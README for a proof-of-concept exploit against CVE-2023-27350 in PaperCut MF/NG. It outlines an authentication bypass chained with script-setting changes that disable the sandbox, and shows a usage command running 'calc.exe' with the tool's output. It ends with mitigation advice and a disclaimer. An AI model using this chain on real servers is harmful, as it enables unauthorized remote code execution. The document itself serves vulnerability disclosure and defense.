# CVE-2023-27350
POC for CVE-2023-27350 affecting PaperCut MF/NG

## Technical Analysis
A technical root cause analysis of the vulnerability, indicators of compromise, and internet exposure can be found on our blog:

## Summary
This POC uses an authentication bypass vulnerability chained with abuse of builtin scripting functionality to execute code.

## Usage
python3 --url '' --command calc.exe
[*] Papercut instance is vulnerable! Obtained valid JSESSIONID
[*] Updating print-and-device.script.enabled to Y
[*] Updating print.script.sandboxed to N
[*] Prepparing to execute...
[+] Executed successfully!
[*] Updating print-and-device.script.enabled to N
[*] Updating print.script.sandboxed to Y

## Mitigations
Update to the latest version or mitigate by following the instructions within the PaperCut Security Advisory

## Follow the Attack Team on Twitter for the latest security research:
*  [Horizon3 Attack Team](
*  [James Horseman](
*  [Zach Hanley](

## Disclaimer
This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.